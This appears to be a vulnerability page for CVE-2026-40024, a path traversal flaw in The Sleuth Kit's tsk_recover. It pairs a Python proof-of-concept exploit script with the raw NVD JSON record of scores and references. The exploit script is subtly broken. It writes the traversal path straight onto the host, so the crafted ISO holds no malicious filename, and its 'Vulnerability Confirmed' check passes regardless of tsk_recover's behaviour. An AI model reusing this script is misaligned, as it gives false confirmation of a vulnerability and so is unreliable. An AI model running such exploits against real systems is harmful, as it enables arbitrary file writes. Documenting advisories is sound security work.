CVE-2026-40024

import os import subprocess # Setup: Create a malicious directory structure os.makedirs("malicious_fs", exist_ok=True) # Create a file with a path traversal payload # This attempts to write to /tmp/pwned.txt relative to the output dir malicious_file = "malicious_fs/../../../../tmp/pwned.txt" os.makedirs(os.path.dirname(malicious_file), exist_ok=True) with open(malicious_file, "w") as f: f.write("CVE-2026-40024: Arbitrary File Write") # Create a filesystem image (ISO) containing the malicious file try: subprocess.run(["genisoimage", "-o", "exploit.iso", "malicious_fs"], check=True) except Exception as e: print(f"Error creating image: {e}") # Exploit: Run tsk_recover # The victim expects files to go to 'safe_output', but they go to /tmp os.makedirs("safe_output", exist_ok=True) subprocess.run(["tsk_recover", "-i", "exploit.iso", "safe_output"]) # Verification if os.path.exists("/tmp/pwned.txt"): print("Vulnerability Confirmed: File written to /tmp")

{"cve": {"id": "CVE-2026-40024", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:22.430", "lastModified": "2026-04-15T20:52:44.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sleuth Kit through 4.14.0 contains a path traversal vulnerability in tsk_recover that allows an attacker to write files to arbitrary locations outside the intended recovery directory via crafted filenames or directory paths with path traversal sequences in a filesystem image. An attacker can craft a malicious filesystem image with embedded /../ sequences in filenames that, when processed by tsk_recover, writes files outside the output directory, potentially achieving code execution by overwriting shell configuration or cron entries."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sleuthkit:the_sleuth_kit:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.15.0", "matchCriteriaId": "5A619301-F6A9-4151-9528-0BB27E356214"}]}]}], "references": [{"url": "https://github.com/sleuthkit/sleuthkit/commit/a3f96b3bc36a8bb1a00c297f77110d4a6e7dd31b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://mobasi.ai/sentinel", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/sleuth-kit-tsk-recover-path-traversal", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}